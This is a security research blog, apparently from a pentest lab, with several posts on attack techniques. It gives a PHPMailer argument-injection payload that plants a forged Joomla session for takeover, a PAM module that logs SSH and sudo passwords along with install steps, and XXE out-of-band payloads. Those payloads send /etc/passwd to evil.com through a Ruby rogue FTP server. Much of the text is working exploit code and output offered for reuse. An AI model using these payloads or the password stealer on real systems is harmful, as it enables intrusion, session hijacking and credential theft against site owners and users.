понедельник, 2 января 2017 г.

Using PHPMailer vulnerability to take the session

At the end of 2016 world was shocked by remote code execution exploit for PHPMailer. 

It's a very common 3rd party library which used by Drupal, WordPress, Joomla and numbers of others top web projects.


The reason of this vulnerability is an incorrect data filtration in the email address while using it as a argument for the sendmail utility execution via system shell. As a result, remote attacker can upload arbitrary file by using -X argument.

Obvious way to exploit this is a web shell upload. However, it depends on two different requirements:
  1. Attacker should know full path to the web root directory (like /var/www)
  2. Web application should have file system privileges to write into one of the web directories.
We suggest another one way to exploit this vulnerability with no described requirements. It's session file upload way. 

For Joomla the exploit could looks like:
$email_from = '"attacker\" -oQ/tmp/ -X/tmp/sess_f8af03562e674480401098254fe223e0  some"@email.com';
$msg_body  = 'joomla|s:1572:"TzoyNDoiSm9vbWxhXFJlZ2lzdHJ5XFJlZ2lzdHJ5IjozOntzOjc6IgAqAGRhdGEiO086ODoic3RkQ2xhc3MiOjE6e3M6OToiX19kZWZhdWx0IjtPOjg6InN0ZENsYXNzIjozOntzOjc6InNlc3Npb24iO086ODoic3RkQ2xhc3MiOjM6e3M6NzoiY291bnRlciI7aTo4O3M6NToidGltZXIiO086ODoic3RkQ2xhc3MiOjM6e3M6NToic3RhcnQiO2k6MTQ4MzM4ODA2MztzOjQ6Imxhc3QiO2k6MTQ4MzM4ODEzNjtzOjM6Im5vdyI7aToxNDgzMzg4MzY1O31zOjU6InRva2VuIjtzOjMyOiJuWmx5ZFdYMUN4M1VnbjhRbWNLN0RnRGJNTkZBMVFkeSI7fXM6ODoicmVnaXN0cnkiO086MjQ6Ikpvb21sYVxSZWdpc3RyeVxSZWdpc3RyeSI6Mzp7czo3OiIAKgBkYXRhIjtPOjg6InN0ZENsYXNzIjowOnt9czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjk6InNlcGFyYXRvciI7czoxOiIuIjt9czo1OiJzZXR1cCI7Tzo4OiJzdGRDbGFzcyI6Mjp7czo3OiJoZWxwdXJsIjtzOjc0OiJodHRwczovL2hlbHAuam9vbWxhLm9yZy9wcm94eS9pbmRleC5waHA/a2V5cmVmPUhlbHB7bWFqb3J9e21pbm9yfTp7a2V5cmVmfSI7czo3OiJvcHRpb25zIjthOjE1OntzOjk6InNpdGVfbmFtZSI7czoxNDoicnVzc2lhLXJlbGF0ZWQiO3M6MTE6ImFkbWluX2VtYWlsIjtzOjEyOiJhc2RAYXNkcy5jb20iO3M6MTA6ImFkbWluX3VzZXIiO3M6NToiYWRtaW4iO3M6MTQ6ImFkbWluX3Bhc3N3b3JkIjtzOjI4OiJydXNzaWEtcmVsYXRlZHJ1c3NpYS1yZWxhdGVkIjtzOjEzOiJzaXRlX21ldGFkZXNjIjtzOjA6IiI7czoxMjoic2l0ZV9vZmZsaW5lIjtpOjA7czo4OiJsYW5ndWFnZSI7czo1OiJlbi1VUyI7czo3OiJoZWxwdXJsIjtzOjc0OiJodHRwczovL2hlbHAuam9vbWxhLm9yZy9wcm94eS9pbmRleC5waHA/a2V5cmVmPUhlbHB7bWFqb3J9e21pbm9yfTp7a2V5cmVmfSI7czo3OiJkYl90eXBlIjtzOjY6Im15c3FsaSI7czo3OiJkYl9ob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo3OiJkYl91c2VyIjtzOjQ6InJvb3QiO3M6NzoiZGJfcGFzcyI7czoxMjoibXktc2VjcmV0LXB3IjtzOjc6ImRiX25hbWUiO3M6NDoidGVzdCI7czo2OiJkYl9vbGQiO3M6NjoiYmFja3VwIjtzOjk6ImRiX3ByZWZpeCI7czo2OiJwa2M2cV8iO319fX1zOjE0OiIAKgBpbml0aWFsaXplZCI7YjowO3M6OToic2VwYXJhdG9yIjtzOjE6Ii4iO30=";';

Then set the value f8af03562e674480401098254fe223e0 in Cookie and take a profit :)

Moreover, in Joomla case it's also serialized data inside this base64 body:
O:24:"Joomla\Registry\Registry":3:{s:7:"*data";O:8:"stdClass":1:{s:9:"__default";O:8:"stdClass":3:{s:7:"session";O:8:"stdClass":3:{s:7:"counter";i:8;s:5:"timer";O:8:"stdClass":3:{s:5:"start";i:1483388063;s:4:"last";i:1483388136;s:3:"now";i:1483388365;}s:5:"token";s:32:"nZlydWX1Cx3Ugn8QmcK7DgDbMNFA1Qdy";}s:8:"registry";O:24:"Joomla\Registry\Registry":3:{s:7:"*data";O:8:"stdClass":0:{}s:14:"*initialized";b:1;s:9:"separator";s:1:".";}s:5:"setup";O:8:"stdClass":2:{s:7:"helpurl";s:74:"https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}";s:7:"options";a:15:{s:9:"site_name";s:14:"russia-related";s:11:"admin_email";s:12:"asd@asds.com";s:10:"admin_user";s:5:"admin";s:14:"admin_password";s:28:"russia-relatedrussia-related";s:13:"site_metadesc";s:0:"";s:12:"site_offline";i:0;s:8:"language";s:5:"en-US";s:7:"helpurl";s:74:"https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}";s:7:"db_type";s:6:"mysqli";s:7:"db_host";s:9:"127.0.0.1";s:7:"db_user";s:4:"root";s:7:"db_pass";s:12:"my-secret-pw";s:7:"db_name";s:4:"test";s:6:"db_old";s:6:"backup";s:9:"db_prefix";s:6:"pkc6q_";}}}}s:14:"*initialized";b:0;s:9:"separator";s:1:".";}

So, the attacker could also upgrade this to the RCE.

понедельник, 25 апреля 2016 г.

New PHP extensions should be hardcoded :)

PHP 6 and PHP 7 are here.
Many applications still using blacklist filtration for upload and other file operations files.
Note, that now you should add ".php6" and ".php7" to this lists.

Finally it will looks like:
.php3
.php4
.php5
.php6
.php7
.phtm
.phtml
...
We are still recommend to use while lists to enumerate safe extensions.

среда, 9 декабря 2015 г.

One more useful PHP class for unserialize() bugs

In a hurry to share PHP common class for deserialization vulnerabilities.
It's FileCookieJar class of Guzzle project.

Look at its destructor https://github.com/guzzle/guzzle/blob/master/src/Cookie/FileCookieJar.php#L37-L61:
<?
    public function __destruct()
    {
        $this->save($this->filename);
    }
    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }
        if (false === file_put_contents($filename, json_encode($json))) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
?>
Who can construct valid exploit without hints? ;)
It's easy.

пятница, 6 ноября 2015 г.

Increases the power of PAM steal module.

A year ago we released our PAM steal module.
It's easiest and safest way to steal passwords and local privilege escalation.

Basically it catch passwords from sudo/su and local services which used PAM.
But not SSH daemon by default.
The fact that it uses the challenge-response authentication scheme. In this case password will be used to generate response (hash) on client side. And will not be going to server.

To fix this "issue" you can edit sshd.conf to disable
ChallengeResponseAuthentication
    Specifies whether challenge-response authentication is allowed
    (e.g. via PAM or though authentication styles supported in
    login.conf(5)) The default is ``yes''.
https://www.freebsd.org/cgi/man.cgi?query=sshd_config&sektion=5

That's all. Now all passwords from SSH will be logged as well as $su typed passwords.
NOTICE! Please, use key-based auth anytime and sudo!

пятница, 5 сентября 2014 г.

WordPress 3.9.2- XXE through media upload (WAV ID3 tag)

Recently WordPress patched XXE vulnerability http://wordpress.org/news/2014/08/wordpress-3-9-2/ which were found during @ONsec_lab security audit of another one web-application.

Now time to describe this vulnerability in details!

The reason is GetID3 library which included into WordPress by default:
./wp-includes/ID3/getid3.lib.php:
521     public static function XML2array($XMLstring) {
522             if (function_exists('simplexml_load_string')) {
523                     if (function_exists('get_object_vars')) {
524                             $XMLobject = simplexml_load_string($XMLstring);

Requires PHP 5.5.0- (simple_xml was patched to disable external entities since ~5.5.0)

To use this vulnerability attacker must have privileges to upload Media (editor privileges for example).

PoC is available at our GitHub repo: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav

Timeline:
5/12/14 vendor notified
5/15/14 vulnerability confirmed
8/06/14 fixed at version 3.9.2

пятница, 18 июля 2014 г.

PAM_steal plugin released

Typically pentest’s attack can be presented by the following schema:
perimeter -> command execution -> privileges escalation -> ...
The next step for pentesters is to gain privileges at other machines.
For example, it can be done by stealing credentials (one of many methods).
Passwords at local machine will be hashed and it's not so good to crack it due to the time.

SSH MITM (tool: http://www.signedness.org/tools/mitm-ssh.tgz) is a good one. It should be noticed though that passwords can be shared between many services and thus is also necessary.

PAM (Pluggable Authentification Module) provide dynamic authorization for applications and services in a Linux system. Our password logger plugin for PAM can be found here: https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

This is a good point after rooting machines during penetration tests.

Install process:
./make.sh
vim /etc/pam.d/common-auth
add "auth required pam_steal.so" into it
Then check /tmp/.steal.log - all FTP/SSH and other PAM-based daemon's passwords will be there!

понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'https://evil.com:8000/%b;'>">
%c;
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...

Java 1.7+:
nothing!
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.

require 'socket'
server = TCPServer.new 8000 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
            puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
or
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)

Finally got something like this: 

XXE payload: 
<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root:   root:   bin   bash